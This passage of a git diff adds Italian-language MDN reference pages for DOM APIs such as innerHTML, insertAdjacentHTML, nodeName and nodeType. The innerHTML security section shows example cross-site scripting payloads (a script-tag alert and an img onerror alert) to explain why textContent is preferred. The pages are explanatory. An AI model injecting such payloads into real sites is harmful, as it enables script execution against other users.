+<h3 id="Sostituzione_del_contenuto_di_un_elemento">Sostituzione del contenuto di un elemento</h3>
+
+<p>L'impostazione del valore di <code>innerHTML</code> consente di sostituire facilmente i contenuti esistenti di un elemento con nuovi contenuti.</p>
+
+<p>Ad esempio, è possibile cancellare l'intero contenuto di un documento cancellando il contenuto dell'attributo {{domxref("Document.body", "body")}} del documento:</p>
+
+<pre class="brush: js">document.body.innerHTML = "";</pre>
+
+<p>Questo esempio recupera l'attuale markup HTML del documento e sostituisce i caratteri <code>"&lt;"</code> con l'entità HTML <code>"&amp;lt;"</code>, convertendo in tal modo l'HTML in testo non elaborato. Questo è quindi avvolto in un elemento {{HTMLElement("pre")}} element. Quindi il valore di <code>innerHTML</code> viene modificato in questa nuova stringa. Di conseguenza, il contenuto del documento viene sostituito con una visualizzazione dell'intero codice sorgente della pagina.</p>
+
+<pre class="brush: js">document.documentElement.innerHTML = "&lt;pre&gt;" +
+         document.documentElement.innerHTML.replace(/&lt;/g,"&amp;lt;") +
+            "&lt;/pre&gt;";</pre>
+
+<h4 id="Dettagli_operativi">Dettagli operativi</h4>
+
+<p>Cosa succede esattamente quando imposti il valore di <code>innerHTML</code>? In questo modo, l'user agent deve seguire questi passaggi:</p>
+
+<ol>
+ <li>Il valore specificato viene analizzato come HTML o XML (in base al tipo di documento), risultando in un oggetto {{domxref("DocumentFragment")}} che rappresenta il nuovo set di nodi del DOM per i nuovi elementi.</li>
+ <li>Se l'elemento il cui contenuto viene sostituito è un elemento {{HTMLElement("template")}} l'attributo <code>&lt;template&gt;</code> dell'elemento {{domxref("HTMLTemplateElement.content", "content")}} viene sostituito con il nuovo <code>DocumentFragment</code> creato nel passaggio 1.</li>
+ <li>Per tutti gli altri elementi, i contenuti dell'elemento vengono sostituiti con i nodi nel nuovo <code>DocumentFragment</code>.</li>
+</ol>
+
+<h3 id="Considerazioni_sulla_sicurezza">Considerazioni sulla sicurezza</h3>
+
+<p>Non è raro vedere <code>innerHTML</code> utilizzato per inserire del testo in una pagina web. C'è la possibilità che questo diventi un vettore di attacco su un sito, creando un potenziale rischio per la sicurezza.</p>
+
+<pre class="brush: js">const name = "John";
+// supponiamo che 'el' sia un elemento DOM HTML
+el.innerHTML = name; // innocuo in questo caso
+
+// ...
+
+name = "&lt;script&gt;alert('Sono John in una noiosa allerta!')&lt;/script&gt;";
+el.innerHTML = name; // innocuo in questo caso</pre>
+
+<p>Sebbene possa sembrare un attacco {{interwiki("wikipedia", "cross-site scripting")}} il risultato è innocuo. HTML5 specifica che un tag {{HTMLElement("script")}} inserito con <code>innerHTML</code> <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">non deve essere eseguito</a>.</p>
+
+<p>Tuttavia, ci sono modi per eseguire JavaScript senza utilizzare gli elementi {{HTMLElement("script")}}, quindi c'è ancora un rischio per la sicurezza ogni volta che utilizzi <code>innerHTML</code> per impostare le stringhe su cui non si ha il controllo. Per esempio:</p>
+
+<pre class="brush: js">const name = "&lt;img src='x' onerror='alert(1)'&gt;";
+el.innerHTML = name; // mostra l'alert</pre>
+
+<p>Per questo motivo, si consiglia di non utilizzare <code>innerHTML</code> quando si inserisce testo normale; invece, usa {{domxref("Node.textContent")}}. Questo non analizza il contenuto passato come HTML, ma invece lo inserisce come testo non elaborato.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> Se il tuo progetto è uno che subirà alcuna forma di revisione della sicurezza, utilizzando <code>innerHTML</code> molto probabilmente il tuo codice verrà rifiutato. Ad esempio, <a href="https://wiki.mozilla.org/Add-ons/Reviewers/Guide/Reviewing#Step_2:_Automatic_validation">se utilizzi <code>innerHTML</code></a> in <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">un'estensione del browser</a> e si invia l'estensione a <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, non verrà passato il processo di revisione automatica.</p>
+</div>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>In questo esempio viene utilizzato <code>innerHTML</code> per creare un meccanismo per la registrazione dei messaggi in una casella in una pagina Web.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "&lt;br/&gt;";
+}
+
+log("Registrazione degli eventi del mouse in questo contenitore...");
+</pre>
+
+<p>La funzione <code>log()</code> crea l'output del log ottenendo l'ora corrente da un oggetto {{jsxref("Date")}} utilizzando {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}}, e creando una stringa con il timestamp e il testo del messaggio. Quindi il messaggio viene aggiunto al box con classe <code>"log"</code>.</p>
+
+<p>Aggiungiamo un secondo metodo che registra le informazioni sugli eventi basati su {{domxref("MouseEvent")}} (come ad esempio {{event("mousedown")}}, {{event("click")}}, e {{event("mouseenter")}}):</p>
+
+<pre class="brush: js">function logEvent(event) {
+  var msg = "Event &lt;strong&gt;" + event.type + "&lt;/strong&gt; at &lt;em&gt;" +
+            event.clientX + ", " + event.clientY + "&lt;/em&gt;";
+  log(msg);
+}</pre>
+
+<p>Quindi usiamo questo come gestore di eventi per un numero di eventi del mouse sulla casella che contiene il nostro registro:</p>
+
+<pre class="brush: js">var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<p>L'HTML è abbastanza semplice per il nostro esempio.</p>
+
+<pre class="brush: html">&lt;div class="box"&gt;
+  &lt;div&gt;&lt;strong&gt;Log:&lt;/strong&gt;&lt;/div&gt;
+  &lt;div class="log"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>Il {{HTMLElement("div")}} con la classe <code>"box"</code> è solo un contenitore per scopi di layout, presentando il contenuto con una scatola attorno ad esso. Il <code>&lt;div&gt;</code> la cui classe è <code>"log"</code> è il contenitore per il testo del log stesso.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>I seguenti stili CSS del nostro contenuto di esempio.</p>
+
+<pre class="brush: css">.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>Il contenuto risultante assomiglia a questo. È possibile visualizzare l'output nel registro spostando il mouse dentro e fuori dalla scatola, facendo click su di esso e così via.</p>
+
+<p>{{EmbedLiveSample("Esempio", 640, 350)}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#dom-element-innerhtml', 'Element.innerHTML')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.innerHTML")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Node.textContent")}} e {{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+ <li>Parsificare HTML in un albero del DOM: {{domxref("DOMParser")}}</li>
+ <li>Serializzare di XML o HTML in un albero del DOM: {{domxref("XMLSerializer")}}</li>
+</ul>
diff --git a/files/it/web/api/element/insertadjacenthtml/index.html b/files/it/web/api/element/insertadjacenthtml/index.html
new file mode 100644
index 0000000000..f69fbb1daf
--- /dev/null
+++ b/files/it/web/api/element/insertadjacenthtml/index.html
@@ -0,0 +1,102 @@
+---
+title: Element.insertAdjacentHTML()
+slug: Web/API/Element/insertAdjacentHTML
+tags:
+  - API
+  - Cambiare il DOM
+  - DOM
+  - Element
+  - HTML
+  - Inserire elementi
+  - Inserire nodi
+  - Referenza
+  - insertAdjacentHTML
+  - metodo
+translation_of: Web/API/Element/insertAdjacentHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Il metodo <strong><code>insertAdjacentHTML()</code></strong> dell'interfaccia {{domxref("Element")}} analizza il testo specificato come HTML o XML e inserisce i nodi risultanti nell'albero DOM in una posizione specificata. Non esegue il reparse dell'elemento su cui viene utilizzato, e quindi non corrompe gli elementi esistenti all'interno di quell'elemento. Questo evita il passaggio extra della serializzazione, rendendolo molto più veloce della manipolazione diretta di {{domxref("Element.innerHTML", "innerHTML")}}.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>element</em>.insertAdjacentHTML(<em>position</em>, <em>text</em>);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>position</code></dt>
+ <dd>Una {{domxref("DOMString")}} che rappresenta la posizione relativa ad <code>element</code>; deve essere una delle seguenti stringhe:
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: Davanti ad <code>element</code> stesso.</li>
+  <li><code style="color: green;">'afterbegin'</code>: Appena dentro <code>element</code>, prima del suo primo figlio.</li>
+  <li><code style="color: blue;">'beforeend'</code>: Appena dentro <code>element</code>, prima del suo ultimo figlio.</li>
+  <li><code style="color: magenta;">'afterend'</code>: Dopo ad <code>element</code> stesso.</li>
+ </ul>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>La stringa da analizzare come HTML o XML e inserita nell'albero.</dd>
+</dl>
+
+<h3 id="Visualizzazione_dei_nomi_delle_posizioni">Visualizzazione dei nomi delle posizioni</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+  &lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+  foo
+  &lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Note: </strong> Le posizioni <code>beforebegin</code> e <code>afterend</code> funzionano solo se il nodo si trova nell'albero del DOM e ha un elemento padre.</div>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">// &lt;div id="one"&gt;one&lt;/div&gt;
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '&lt;div id="two"&gt;two&lt;/div&gt;');
+
+// A questo punto, la nuova struttura è:
+// &lt;div id="one"&gt;one&lt;/div&gt;&lt;div id="two"&gt;two&lt;/div&gt;</pre>
+
+<h2 id="Note">Note</h2>
+
+<h3 id="Considerazioni_sulla_sicurezza">Considerazioni sulla sicurezza</h3>
+
+<p>Quando si inserisce HTML in una pagina utilizzando <code>insertAdjacentHTML()</code>, fare attenzione a non utilizzare l'input dell'utente che non è stato analizzato.</p>
+
+<p>Non è consigliabile utilizzare  <code>insertAdjacentHTML()</code> quando si inserisce testo normale; usa invece la proprietà {{domxref("Node.textContent")}} o il metodo {{domxref("Element.insertAdjacentText()")}}. Questo non interpreta il contenuto passato come HTML, ma invece lo inserisce come testo non elaborato.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#widl-Element-insertAdjacentHTML-void-DOMString-position-DOMString-text', 'Element.insertAdjacentHTML()')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.insertAdjacentHTML")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("Element.insertAdjacentText()")}}</li>
+ <li>{{domxref("XMLSerializer")}}: Costruire una rappresentazione DOM del testo XML</li>
+ <li><a class="external" href="https://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post</a><span class="external"> di Henri Sivonen, incluso benchmark che mostra che insertAdjacentHTML può essere molto più veloce in alcuni casi.</span></li>
+</ul>
diff --git a/files/it/web/api/element/nodename/index.html b/files/it/web/api/element/nodename/index.html
new file mode 100644
index 0000000000..2030226b37
--- /dev/null
+++ b/files/it/web/api/element/nodename/index.html
@@ -0,0 +1,116 @@
+---
+title: Node.nodeName
+slug: Web/API/Element/nodeName
+tags:
+  - API
+  - DOM
+  - Gecko
+  - NeedsSpecTable
+  - Node
+  - Property
+  - Read-only
+translation_of: Web/API/Node/nodeName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La proprietà di sola lettura <code><strong>nodeName</strong></code> restituisce il nome dell'attuale {{domxref("Node")}} come stringa.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>str</em> = <em>node</em>.nodeName;
+</pre>
+
+<h3 id="Valore">Valore</h3>
+
+<p>Una {{domxref("DOMString")}}. I valori per i diversi tipi di nodi sono:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Interfaccia</th>
+   <th>valore nodeName</th>
+  </tr>
+  <tr>
+   <td>{{domxref("Attr")}}</td>
+   <td>Il valore di {{domxref("Attr.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("CDATASection")}}</td>
+   <td><code>"#cdata-section"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Comment")}}</td>
+   <td><code>"#comment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document")}}</td>
+   <td><code>"#document"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentFragment")}}</td>
+   <td><code>"#document-fragment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentType")}}</td>
+   <td>Il valore di {{domxref("DocumentType.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Element")}}</td>
+   <td>Il valore di {{domxref("Element.tagName")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Entity")}}</td>
+   <td>Il nome dell'entità</td>
+  </tr>
+  <tr>
+   <td>{{domxref("EntityReference")}}</td>
+   <td>Il nome del riferimento all'entità</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Notation")}}</td>
+   <td>Il nome della notazione</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ProcessingInstruction")}}</td>
+   <td>Il valore di {{domxref("ProcessingInstruction.target")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Text")}}</td>
+   <td><code>"#text"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Dato il seguente markup:</p>
+
+<pre class="brush:html">&lt;div id="d1"&gt;hello world&lt;/div&gt;
+&lt;input type="text" id="t"&gt;
+</pre>
+
+<p>e il seguente script:</p>
+
+<pre class="brush:js">var div1 = document.getElementById("d1");
+var text_field = document.getElementById("t");
+
+text_field.value = div1.nodeName;
+</pre>
+
+<p>IIn XHTML (o in qualsiasi altro formato XML), il valore di <code>text_field</code> sarebbe letto <code>"div"</code>. Tuttavia, in HTML, il valore di <code>text_field</code> sarebbe letto <code>"DIV"</code>, poichè <code>nodeName</code> e <code>tagName</code> restituiscono in maiuscolo gli elementi HTML nei DOM contrassegnati come documenti HTML. Read more <a href="http://ejohn.org/blog/nodename-case-sensitivity/" title="http://ejohn.org/blog/nodename-case-sensitivity/">details on nodeName case sensitivity in different browsers</a>.</p>
+
+<p>Nota che la proprietà {{domxref("Element.tagName")}} potrebbe essere stata utilizzata, poiché <code>nodeName</code> ha lo stesso valore di <code>tagName</code> per un elemento. Tieni presente, tuttavia, che <code>nodeName</code> ritornerà <code>"#text"</code> per i nodi di testo mentre <code>tagName</code> restituirà <code>undefined</code>.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D095">DOM Level 2 Core: Node.nodeName</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-F68D095">DOM Level 3 Core: Node.nodeName</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Node.nodeName")}}</p>
diff --git a/files/it/web/api/element/nodetype/index.html b/files/it/web/api/element/nodetype/index.html
new file mode 100644
index 0000000000..fba395288a
--- /dev/null
+++ b/files/it/web/api/element/nodetype/index.html
@@ -0,0 +1,178 @@
+---
+title: Node.nodeType
+slug: Web/API/Element/nodeType
+tags:
+  - API
+  - DOM
+  - Proprietà
+  - Referenza
+translation_of: Web/API/Node/nodeType
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">La proprietà di sola lettura <code><strong>Node.nodeType</strong></code> è un numero intero che identifica il nodo. Distingue tra diversi tipi di nodi tra loro, come {{domxref("Element", "elements")}}, {{domxref("Text", "text")}} and {{domxref("Comment", "comments")}}.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em><var>type</var></em> = <em>node</em>.nodeType;
+</pre>
+
+<p>Restituisce un numero intero che specifica il tipo del nodo. I valori possibili sono elencati in {{anch("Tipi di nodi costanti")}}.</p>
+
+<h2 id="Constanti">Constanti</h2>
+
+<h3 id="Tipi_di_nodi_costanti">Tipi di nodi costanti</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Valore</th>
+   <th scope="col">Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Node.ELEMENT_NODE</code></td>
+   <td><code>1</code></td>
+   <td>Un nodo {{domxref("Element")}} come {{HTMLElement("p")}} o {{HTMLElement("div")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.TEXT_NODE</code></td>
+   <td><code>3</code></td>
+   <td>L'attuale {{domxref("Text")}} dentro un {{domxref("Element")}} o {{domxref("Attr")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.CDATA_SECTION_NODE</code></td>
+   <td><code>4</code></td>
+   <td>Una {{domxref("CDATASection")}}, ad esempio <code>&lt;!CDATA[[ … ]]&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td><code>Node.PROCESSING_INSTRUCTION_NODE</code></td>
+   <td><code>7</code></td>
+   <td>Una {{domxref("ProcessingInstruction")}} di un documento XML, come <code>&lt;?xml-stylesheet … ?&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td><code>Node.COMMENT_NODE</code></td>
+   <td><code>8</code></td>
+   <td>Un nodo {{domxref("Comment")}}, come <code>&lt;!-- … --&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td><code>Node.DOCUMENT_NODE</code></td>
+   <td><code>9</code></td>
+   <td>Un nodo {{domxref("Document")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.DOCUMENT_TYPE_NODE</code></td>
+   <td><code>10</code></td>
+   <td>Un nodo {{domxref("DocumentType")}}, come <code>&lt;!DOCTYPE html&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td><code>Node.DOCUMENT_FRAGMENT_NODE</code></td>
+   <td><code>11</code></td>
+   <td>Un nodo {{domxref("DocumentFragment")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Tipi_di_nodo_deprecati_deprecated_inline()">Tipi di nodo deprecati {{deprecated_inline()}}</h3>
+
+<div class="blockIndicator note">
+<p>Le seguenti costanti sono state deprecate e non dovrebbero essere più utilizzate.</p>
+</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Constante</td>
+   <td>Valore</td>
+   <td>Descrizione</td>
+  </tr>
+  <tr>
+   <td><code>Node.ATTRIBUTE_NODE</code></td>
+   <td>2</td>
+   <td>Un {{domxref("Attr", "Attribute")}} di un {{domxref("Element")}}. Gli attributi non implementano più l'interfaccia {{domxref("Node")}} dal {{SpecName("DOM4")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.ENTITY_REFERENCE_NODE</code></td>
+   <td>5</td>
+   <td>Un nodo di riferimento di entità XML, come <code>&amp;foo;</code>. Rimosso nel {{SpecName("DOM4")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.ENTITY_NODE</code></td>
+   <td>6</td>
+   <td>Un nodo XML <code>&lt;!ENTITY …&gt;</code>. Rimosso nel {{SpecName("DOM4")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.NOTATION_NODE</code></td>
+   <td>12</td>
+   <td>Un nodo XML <code>&lt;!NOTATION …&gt;</code>. Rimosso nel {{SpecName("DOM4")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Diversi_tipi_di_nodi">Diversi tipi di nodi</h3>
+
+<pre class="brush: js">document.nodeType === Node.DOCUMENT_NODE; // true
+document.doctype.nodeType === Node.DOCUMENT_TYPE_NODE; // true
+
+document.createDocumentFragment().nodeType === Node.DOCUMENT_FRAGMENT_NODE; // true
+
+var p = document.createElement("p");
+p.textContent = "Once upon a time…";
+
+p.nodeType === Node.ELEMENT_NODE; // true
+p.firstChild.nodeType === Node.TEXT_NODE; // true
+</pre>
+
+<h3 id="Commenti">Commenti</h3>
+
+<p>Questo esempio controlla se il primo nodo all'interno dell'elemento del documento è un commento e visualizza un messaggio in caso contrario.</p>
+
+<pre class="brush: js">var node = document.documentElement.firstChild;
+if (node.nodeType !== Node.COMMENT_NODE) {
+  console.warn("Dovresti commentare il tuo codice!");
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-nodetype', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Deprecated <code>ATTRIBUTE_NODE</code>, <code>ENTITY_REFERENCE_NODE</code> and <code>NOTATION_NODE</code> types.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-111237558', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-111237558', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Node.nodeType")}}</p>
diff --git a/files/it/web/api/element/nodevalue/index.html b/files/it/web/api/element/nodevalue/index.html
new file mode 100644
index 0000000000..547ba77939
--- /dev/null
+++ b/files/it/web/api/element/nodevalue/index.html
@@ -0,0 +1,75 @@
+---
+title: element.nodeValue
+slug: Web/API/Element/nodeValue
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Node/nodeValue
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il valore del nodo corrente.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><em>valore</em> = document.nodeValue
+</pre>
+<p><code>valore</code> è una stringa contenente il valore del nodo corrente, se esiste.</p>
+<h3 id="Note" name="Note">Note</h3>
+<p>La proprietà <code>nodeValue</code> dell'intero documento, restituisce <code>null</code>. Per un nodo di tipo testo, commento o CDATA, <code>nodeValue</code> restituisce il contenuto del nodo. Per i nodi attributo, restituisce il valore dell'attributo.</p>
+<p>La tabella seguente mostra i valori restituiti per i vari tipi di elementi:</p>
+<table>
+ <tbody>
+  <tr>
+   <td>Attr</td>
+   <td>il valore dell'attributo</td>
+  </tr>
+  <tr>
+   <td>CDATASection</td>
+   <td>il contenuto della sezione CDATA</td>
+  </tr>
+  <tr>
+   <td>Comment</td>
+   <td>il commento</td>
+  </tr>
+  <tr>
+   <td>Document</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>DocumentFragment</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>DocumentType</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>Element</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>NamedNodeMap</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>EntityReference</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>Notation</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>ProcessingInstruction</td>
+   <td>l'intero contenuto, escluso il target</td>
+  </tr>
+  <tr>
+   <td>Text</td>
+   <td>il contenuto del nodo testo</td>
+  </tr>
+ </tbody>
+</table>
+<p>Quando <code>nodeValue</code> è impostato a <code>null</code>, reimpostarlo non ha alcun effetto.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-F68D080">nodeValue </a></p>
diff --git a/files/it/web/api/element/parentnode/index.html b/files/it/web/api/element/parentnode/index.html
new file mode 100644
index 0000000000..03e89aa432
--- /dev/null
+++ b/files/it/web/api/element/parentnode/index.html
@@ -0,0 +1,61 @@
+---
+title: Node.parentNode
+slug: Web/API/Element/parentNode
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Proprietà
+translation_of: Web/API/Node/parentNode
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La proprietà di sola lettura <code><strong>Node.parentNode</strong></code> restituisce il genitore del nodo specificato nell'albero DOM.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><em>parentNode</em> = <em>node</em>.parentNode
+</pre>
+
+<p><code>parentNode</code> è il genitore del nodo corrente. Il genitore di un elemento è un nodo <code>Element</code>, un nodo <code>Document</code>, o un nodo <code>DocumentFragment</code>.</p>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush:js">if (node.parentNode) {
+  // rimuovi un nodo dall'albero, a meno che
+  // non sia già nell'albero
+  node.parentNode.removeChild(node);
+}</pre>
+
+<h2 id="Notes" name="Notes">Note</h2>
+
+<p>I <a href="/it/docs/Web/API/Element/nodeType">nodi</a> <code>Document</code> e <code>DocumentFragment</code> non possono mai avere un genitore, quindi <code>parentNode</code> ritornerà sempre <code>null</code>.</p>
+
+<p>Restituisce anche <code>null</code> se il nodo è appena stato creato e non è ancora collegato all'albero.</p>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Node.parentNode")}}</p>
+
+<h2 id="Specification" name="Specification">Specifiche</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1060184317">DOM Level 2 Core: Node.parentNode</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1060184317">DOM Level 3 Core: Node.parentNode</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>{{Domxref("Node.firstChild")}}</li>
+ <li>{{Domxref("Node.lastChild")}}</li>
+ <li>{{Domxref("Node.childNodes")}}</li>
+ <li>{{Domxref("Node.nextSibling")}}</li>
+ <li>{{Domxref("Node.parentElement")}}</li>
+ <li>{{Domxref("Node.previousSibling")}}</li>
+ <li>{{Domxref("Node.removeChild")}}</li>
+</ul>
diff --git a/files/it/web/api/element/prefix/index.html b/files/it/web/api/element/prefix/index.html
new file mode 100644
index 0000000000..3371ff1f8d
--- /dev/null
+++ b/files/it/web/api/element/prefix/index.html
@@ -0,0 +1,26 @@
+---
+title: element.prefix
+slug: Web/API/Element/prefix
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Node/prefix
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il namespace del nodo, oppure <code>null</code> se il nodo non ha alcun prefisso.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>stringa</i> = element.prefix
+element.prefix =<i>stringa</i>
+</pre>
+<h3 id="Esempi" name="Esempi">Esempi</h3>
+<p>Il seguente esempio produce il messaggio "x".</p>
+<pre class="eval">&lt;x:div onclick="alert(this.prefix)"/&gt;
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Questa proprietà funziona solo quando si utilizza un interprete in grado di gestire i namespace, per esempio quando un documento viene presentato con il tipo mime XML. Non funziona invece con i documenti HTML.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
